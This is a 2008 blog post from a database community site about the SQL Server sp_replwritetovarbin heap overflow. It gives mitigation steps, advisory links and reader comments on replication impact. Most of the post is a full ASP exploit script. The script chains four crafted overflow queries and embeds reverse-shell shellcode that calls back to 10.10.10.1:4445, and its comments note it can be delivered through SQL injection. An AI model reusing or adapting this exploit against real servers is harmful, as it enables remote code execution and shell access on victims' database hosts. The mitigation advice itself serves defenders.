Login or Sign Up to become a member!
LessThanDot Sit Logo

LessThanDot

Data Management

Less Than Dot is a community of passionate IT professionals and enthusiasts dedicated to sharing technical knowledge, experience, and assistance. Inside you will find reference materials, interesting technical discussions, and expert tips and commentary. Once you register for an account you will have immediate access to the forums and all past articles and commentaries.

LTD Social Sitings

Lessthandot twitter Lessthandot Linkedin Lessthandot friendfeed Lessthandot facebook Lessthandot rss

Note: Watch for social icons on posts by your favorite authors to follow their postings on these and other social sites.

Your profile

Authors

Search

XML Feeds

Google Ads

« SQL Friday, The Best SQL Server Links Of The Past Week Episode 4Calculating Mean, Median and Mode with SQL Server »
comments
Rate Post:
submit to reddit Digg!FacebookDotnetkicks

There is code available to take advantage of the sp_replwritetovarbin heap overflow bug
In a default configuration, the sp_replwritetovarbin stored procedure is accessible by anyone. To disable this proc you can run this as an admin on the box
Before disabling this pro read BradC's comment so that you do not break replication

  1. EXECUTE master.dbo.SP_DROPEXTENDEDPROC 'sp_replwritetovarbin'

Microsoft is investigating new public reports of a vulnerability that could allow remote code execution on systems with supported editions of Microsoft SQL Server 2000, Microsoft SQL Server 2005, Microsoft SQL Server 2005 Express Edition, Microsoft SQL Server 2000 Desktop Engine (MSDE 2000), Microsoft SQL Server 2000 Desktop Engine (WMSDE), and Windows Internal Database (WYukon). Systems with Microsoft SQL Server 7.0 Service Pack 4, Microsoft SQL Server 2005 Service Pack 3, and Microsoft SQL Server 2008 are not affected by this issue.

Here are some more links
http://www.microsoft.com/technet/security/advisory/961040.mspx
http://www.sec-consult.com/files/20081209_mssql-sp_replwritetovarbin_memwrite.txt
http://msdn.microsoft.com/en-us/library/aa215995(SQL.80).aspx

Here is the code someone emailed me to test for the exploit

  1. // k`sOSe 12/17/2008
  2. <%// Microsoft SQL Server "sp_replwritetovarbin()" Heap Overflow
  3. // Tested on Win2k SP4 with MSSQL 2000(on one box only!).
  4. // Shellcode is a slightly modified metasploit reverse shell(on 10.10.10.1 port 4445),
  5. // the change allows multiple shots :)
  6. //
  7. // You need a valid SQL account, but you can also use this through an SQL-Injection simply by injecting the T-SQL stuff.
  8.  
  9. // Take a look at the comments in T-SQL
  10.  
  11.  
  12.  
  13. On Error Resume Next
  14.  
  15. // change this
  16. UserName = "r00t"
  17. Password = "t00r"
  18.  
  19. // ########################################### FIRST QUERY
  20. SQL = "DECLARE @buf NVARCHAR(4000),             "&_
  21. "@val NVARCHAR(4),                      "&_
  22. "@counter INT                           "&_
  23. "SET @buf = '                           "&_
  24. "declare @retcode int,                      "&_
  25. "@end_offset int,                       "&_
  26. "@vb_buffer varbinary,                      "&_
  27. "@vb_bufferlen int                      "&_  
  28. "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  29. "SET @val = CHAR(0x41)                      "&_
  30. "SET @counter = 0                       "&_
  31. "WHILE @counter < 3020                      "&_
  32. "BEGIN                              "&_
  33. "  SET @counter = @counter + 1                  "&_
  34. "  IF @counter = 2900                       "&_ 
  35. "  BEGIN                            "&_
  36. "    SET @val =  CHAR(0x43)                 "&_
  37. "  END                              "&_
  38. "  ELSE IF @counter = 299                   "&_
  39. "  BEGIN                            "&_
  40. "    SET @val =  CHAR(0x42)                 "&_
  41. "  END                              "&_
  42. "  ELSE IF @counter = 300                   "&_
  43. "  BEGIN                            "&_
  44.  
  45.  
  46. "     /* First byte overwritten here. This is a random writable address */  "&_
  47. "     SET @buf = @buf + CHAR(0x44) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  48. "     CONTINUE                          "&_
  49. "  END                              "&_
  50. "  SET @buf = @buf + @val                   "&_
  51. "END                                "&_
  52. "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  53. "EXEC master..sp_executesql @buf"                          
  54.  
  55.  
  56.  
  57.  
  58.  
  59. // ########################################### SECOND QUERY
  60. SQL2 = "DECLARE @buf NVARCHAR(4000),                "&_
  61. "@val NVARCHAR(4),                      "&_
  62. "@counter INT                           "&_
  63. "SET @buf = '                           "&_
  64. "declare @retcode int,                      "&_
  65. "@end_offset int,                       "&_
  66. "@vb_buffer varbinary,                      "&_
  67. "@vb_bufferlen int                      "&_  
  68. "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  69. "SET @val = CHAR(0x41)                      "&_
  70. "SET @counter = 0                       "&_
  71. "WHILE @counter < 3097                      "&_
  72. "BEGIN                              "&_
  73. "  SET @counter = @counter + 1                  "&_
  74. "  IF @counter = 2900                       "&_ 
  75. "  BEGIN                            "&_
  76. "    SET @val =  CHAR(0x43)                 "&_
  77. "  END                              "&_
  78. "  ELSE IF @counter = 299                   "&_
  79. "  BEGIN                            "&_
  80. "    SET @val =  CHAR(0x42)                 "&_
  81. "  END                              "&_
  82. "  ELSE IF @counter = 300                   "&_
  83. "  BEGIN                            "&_
  84.  
  85.  
  86. "     /* Second byte overwritten here */            "&_
  87. "     SET @buf = @buf + CHAR(0x45) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  88. "     CONTINUE                          "&_
  89. "  END                              "&_
  90. "  SET @buf = @buf + @val                   "&_
  91. "END                                "&_
  92. "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  93. "EXEC master..sp_executesql @buf"                          
  94.  
  95.  
  96.  
  97.  
  98.  
  99. // ########################################### THIRD QUERY
  100. SQL3 = "DECLARE @buf NVARCHAR(4000),                "&_
  101. "@val NVARCHAR(4),                      "&_
  102. "@counter INT                           "&_
  103. "SET @buf = '                           "&_
  104. "declare @retcode int,                      "&_
  105. "@end_offset int,                       "&_
  106. "@vb_buffer varbinary,                      "&_
  107. "@vb_bufferlen int                      "&_  
  108. "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  109. "SET @val = CHAR(0x41)                      "&_
  110. "SET @counter = 0                       "&_
  111. "WHILE @counter < 3021                      "&_
  112. "BEGIN                              "&_
  113. "  SET @counter = @counter + 1                  "&_
  114. "  IF @counter = 2900                       "&_ 
  115. "  BEGIN                            "&_
  116. "    SET @val =  CHAR(0x43)                 "&_
  117. "  END                              "&_
  118. "  ELSE IF @counter = 299                   "&_
  119. "  BEGIN                            "&_
  120. "    SET @val =  CHAR(0x42)                 "&_
  121. "  END                              "&_
  122. "  ELSE IF @counter = 300                   "&_
  123. "  BEGIN                            "&_
  124.  
  125.  
  126. "     /* Third byte overwritten here */             "&_
  127. "     SET @buf = @buf + CHAR(0x46) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  128. "     CONTINUE                          "&_
  129. "  END                              "&_
  130. "  SET @buf = @buf + @val                   "&_
  131. "END                                "&_
  132. "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  133. "EXEC master..sp_executesql @buf"                          
  134.  
  135.  
  136.  
  137.  
  138.  
  139. // ########################################### FOURTH QUERY
  140. SQL4 = "DECLARE @buf NVARCHAR(4000),                "&_
  141. "@val NVARCHAR(4),                      "&_
  142. "@counter INT                           "&_
  143. "SET @buf = '                           "&_
  144. "declare @retcode int,                      "&_
  145. "@end_offset int,                       "&_
  146. "@vb_buffer varbinary,                      "&_
  147. "@vb_bufferlen int                      "&_  
  148. "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  149. "SET @val = CHAR(0x41)                      "&_
  150. "SET @counter = 0                       "&_
  151. "WHILE @counter < 2708                      "&_
  152. "BEGIN                              "&_
  153. "  SET @counter = @counter + 1                  "&_
  154. "  IF @counter = 2900                       "&_ 
  155. "  BEGIN                            "&_
  156. "    SET @val =  CHAR(0x43)                 "&_
  157. "  END                              "&_
  158. "  IF @counter = 108                        "&_
  159. "  BEGIN                            "&_
  160.  
  161.  
  162. "     /* this is the pointer we wrote - 0x38. It points to a CALL ECX */    "&_
  163. "    SET @buf = @buf + CHAR(0x10) + CHAR(0xc0) + CHAR(0x4c) + CHAR(0x19) "&_
  164.  
  165.  
  166. "     /* realign code */                        "&_
  167. "    SET @buf = @buf + CHAR(0xe1)               "&_
  168.  
  169.  
  170. "     /* realign the stack */                   "&_
  171. "    SET @buf = @buf + CHAR(0x83) + CHAR(0xe4) + CHAR(0xfc) "&_
  172.  
  173.  
  174. "     /* jump ahead */                      "&_
  175. "    SET @buf = @buf + CHAR(0xe9) + CHAR(0xba) + CHAR(0x00) + CHAR(0x00) + CHAR(0x00) "&_
  176. "    SET @counter = @counter + 12               "&_
  177. "    CONTINUE                           "&_
  178. "  END                              "&_
  179. "  ELSE IF @counter = 299                   "&_
  180. "  BEGIN                            "&_
  181. "    SET @val =  CHAR(0x42)                 "&_
  182. "  END                              "&_
  183. "  ELSE IF @counter = 300                   "&_
  184. "  BEGIN                            "&_
  185.  
  186.  
  187. "     /* Fourth byte overwritten here */            "&_
  188. "     SET @buf = @buf + CHAR(0x47) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  189.  
  190.  
  191. "     /* reverse shell on 10.10.10.1:4445 */            "&_
  192. "     SET @buf=@buf+CHAR(0xfc)+CHAR(0x6a)+CHAR(0xeb)+CHAR(0x4d)+CHAR(0xe8)+CHAR(0xf9)+CHAR(0xff)
  193. +CHAR(0xff)+CHAR(0xff)+CHAR(0x60)+CHAR(0x8b)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x24)+CHAR(0x8b)
  194. +CHAR(0x45)+CHAR(0x3c)+CHAR(0x8b)+CHAR(0x7c)+CHAR(0x05)+CHAR(0x78)+CHAR(0x01)+CHAR(0xef)
  195. +CHAR(0x8b)+CHAR(0x4f)+CHAR(0x18)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x20)+CHAR(0x01)+CHAR(0xeb)
  196. +CHAR(0x49)+CHAR(0x8b)+CHAR(0x34)+CHAR(0x8b)+CHAR(0x01)+CHAR(0xee)+CHAR(0x31)+CHAR(0xc0)
  197. +CHAR(0x99)+CHAR(0xac)+CHAR(0x84)+CHAR(0xc0)+CHAR(0x74)+CHAR(0x07)+CHAR(0xc1)+CHAR(0xca)
  198. +CHAR(0x0d)+CHAR(0x01)+CHAR(0xc2)+CHAR(0xeb)+CHAR(0xf4)+CHAR(0x3b)+CHAR(0x54)+CHAR(0x24)
  199. +CHAR(0x28)+CHAR(0x75)+CHAR(0xe5)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x24)+CHAR(0x01)+CHAR(0xeb)
  200. +CHAR(0x66)+CHAR(0x8b)+CHAR(0x0c)+CHAR(0x4b)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x1c)+CHAR(0x01)
  201. +CHAR(0xeb)+CHAR(0x03)+CHAR(0x2c)+CHAR(0x8b)+CHAR(0x89)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x1c)
  202. +CHAR(0x61)+CHAR(0xc3)+CHAR(0x31)+CHAR(0xdb)+CHAR(0x64)+CHAR(0x8b)+CHAR(0x43)+CHAR(0x30)
  203. +CHAR(0x8b)+CHAR(0x40)+CHAR(0x0c)+CHAR(0x8b)+CHAR(0x70)+CHAR(0x1c)+CHAR(0xad)+CHAR(0x8b)
  204. +CHAR(0x40)+CHAR(0x08)+CHAR(0x5e)+CHAR(0x68)+CHAR(0x8e)+CHAR(0x4e)+CHAR(0x0e)+CHAR(0xec)
  205. +CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x66)+CHAR(0x53)+CHAR(0x66)+CHAR(0x68)+CHAR(0x33)
  206. +CHAR(0x32)+CHAR(0x68)+CHAR(0x77)+CHAR(0x73)+CHAR(0x32)+CHAR(0x5f)+CHAR(0x54)+CHAR(0xff)
  207. +CHAR(0xd0)+CHAR(0x68)+CHAR(0xcb)+CHAR(0xed)+CHAR(0xfc)+CHAR(0x3b)+CHAR(0x50)+CHAR(0xff)
  208. +CHAR(0xd6)+CHAR(0x5f)+CHAR(0x89)+CHAR(0xe5)+CHAR(0x66)+CHAR(0x81)+CHAR(0xed)+CHAR(0x08)
  209. +CHAR(0x02)+CHAR(0x55)+CHAR(0x6a)+CHAR(0x02)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xd9)
  210. +CHAR(0x09)+CHAR(0xf5)+CHAR(0xad)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x53)+CHAR(0x53)
  211. +CHAR(0x53)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd0)
  212. +CHAR(0x68)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x01)+CHAR(0x66)+CHAR(0x68)+CHAR(0x11)
  213. +CHAR(0x5d)+CHAR(0x66)+CHAR(0x53)+CHAR(0x89)+CHAR(0xe1)+CHAR(0x95)+CHAR(0x68)+CHAR(0xec)
  214. +CHAR(0xf9)+CHAR(0xaa)+CHAR(0x60)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0x10)
  215. +CHAR(0x51)+CHAR(0x55)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x66)+CHAR(0x6a)+CHAR(0x64)+CHAR(0x66)
  216. +CHAR(0x68)+CHAR(0x63)+CHAR(0x6d)+CHAR(0x6a)+CHAR(0x50)+CHAR(0x59)+CHAR(0x29)+CHAR(0xcc)
  217. +CHAR(0x89)+CHAR(0xe7)+CHAR(0x6a)+CHAR(0x44)+CHAR(0x89)+CHAR(0xe2)+CHAR(0x31)+CHAR(0xc0)
  218. +CHAR(0xf3)+CHAR(0xaa)+CHAR(0x95)+CHAR(0x89)+CHAR(0xfd)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2d)
  219. +CHAR(0xfe)+CHAR(0x42)+CHAR(0x2c)+CHAR(0x8d)+CHAR(0x7a)+CHAR(0x38)+CHAR(0xab)+CHAR(0xab)
  220. +CHAR(0xab)+CHAR(0x68)+CHAR(0x72)+CHAR(0xfe)+CHAR(0xb3)+CHAR(0x16)+CHAR(0xff)+CHAR(0x75)
  221. +CHAR(0x28)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5b)+CHAR(0x57)+CHAR(0x52)+CHAR(0x51)+CHAR(0x51)
  222. +CHAR(0x51)+CHAR(0x6a)+CHAR(0x01)+CHAR(0x51)+CHAR(0x51)+CHAR(0x55)+CHAR(0x51)+CHAR(0xff)
  223. +CHAR(0xd0)+CHAR(0x68)+CHAR(0xad)+CHAR(0xd9)+CHAR(0x05)+CHAR(0xce)+CHAR(0x53)+CHAR(0xff)
  224. +CHAR(0xd6)+CHAR(0x6a)+CHAR(0xff)+CHAR(0xff)+CHAR(0x37)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)
  225. +CHAR(0xe7)+CHAR(0x79)+CHAR(0xc6)+CHAR(0x79)+CHAR(0xff)+CHAR(0x75)+CHAR(0x04)+CHAR(0xff)
  226. +CHAR(0xd6)+CHAR(0xff)+CHAR(0x77)+CHAR(0xfc)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xef)
  227. +CHAR(0xce)+CHAR(0xe0)+CHAR(0x60)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6)      "&_
  228. "     CONTINUE                          "&_
  229. "  END                              "&_
  230. "  SET @buf = @buf + @val                   "&_
  231. "END                                "&_
  232. "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  233. "EXEC master..sp_executesql @buf"                          
  234.  
  235.  
  236. Set oConnection = Server.CreateObject("ADODB.Connection")
  237. oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  238. Set rs = Server.CreateObject("ADODB.Recordset")
  239.  
  240. phase = Request.Querystring("p")
  241.  
  242. if phase then
  243.     if phase = 1 then
  244.         rs.open SQL3, oConnection
  245.         rs.close
  246.         oConnection.Close
  247.         Set oConnection = Nothing
  248.         Response.Redirect("sql-exploit.asp?p=2")
  249.     elseif phase = 2 then
  250.         rs.open SQL4, oConnection
  251.         rs.close
  252.         oConnection.Close
  253.         Set oConnection = Nothing
  254.         Response.Redirect("sql-exploit.asp?p=3")
  255.     end if
  256. Else
  257.     rs.open SQL, oConnection
  258.     rs.close
  259.     oConnection.Close
  260.     Set oConnection = Nothing
  261.    
  262.     Set oConnection = Server.CreateObject("ADODB.Connection")
  263.     oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  264.     Set rs = Server.CreateObject("ADODB.Recordset")
  265.     rs.open SQL2, oConnection
  266.     rs.close
  267.     oConnection.Close
  268.     Set oConnection = Nothing   
  269.  
  270.     Response.Redirect("sql-exploit.asp?p=1")
  271. end if
  272.  
  273.  
  274. %>

About the Author

User bio imageDenis has been working with SQL Server since version 6.5. Although he worked as an ASP/JSP/ColdFusion developer before the dot com bust, he has been working exclusively as a database developer/architect since 2002. In addition to English, Denis is also fluent in Croatian and Dutch, but he can curse in many other languages and dialects (just ask the SQL optimizer) He lives in Princeton, NJ with his wife and three kids.
Social SitingsTwitterFacebookLinkedInHomePageLTD RSS Feed
2736 views
submit to reddit Digg!FacebookDotnetkicks

Comments and Feedback

5 comments

Comment from: BradC [Visitor]
****-
Please note that removing this stored procedure breaks replication!

(from the MS link)

"Impact of Workaround: Disabling the sp_replwritetovarbin extended stored procedure prevents updates to subscription tables by all users. The impact of this workaround only affects customers that use transactional replication with updatable subscriptions. Customers using transactional replication with read-only subscriptions, bi-directional transactional replication, or peer-to-peer transactional replication are not impacted."
12/23/08 @ 07:29
Comment from: SQLDenis [Member] Email
Brad, thanks, I have added something to the article to read your comment first since it might break replication
12/23/08 @ 07:52
Comment from: AlexCuse [Member] Email
*****
I wonder how many people's vacations were ruined by this ;-(
12/23/08 @ 08:24
Comment from: SQLDenis [Member] Email
not mine, my vacation days are all used up except for this Friday :-)

A lot of exploits come out around this time because
A) Younger hackers don't have school and have time to mess around
B) A lot of people are on vacation so it is the perfect time to release something like this now
12/23/08 @ 08:29
Comment from: sameer [Visitor]
If not willing to drop procedure - you can disbale execution on procedure and apply patch SP3
later on.

use [master]
GO
REVOKE EXECUTE ON [sys].[sp_replwritetovarbin] TO [public]
GO
12/23/08 @ 15:54

Leave a comment


Your email address will not be revealed on this site.

Your URL will be displayed.
(Line breaks become <br />)
(Name, email & website)
(Allow users to contact you through a message form (your email will not be revealed.)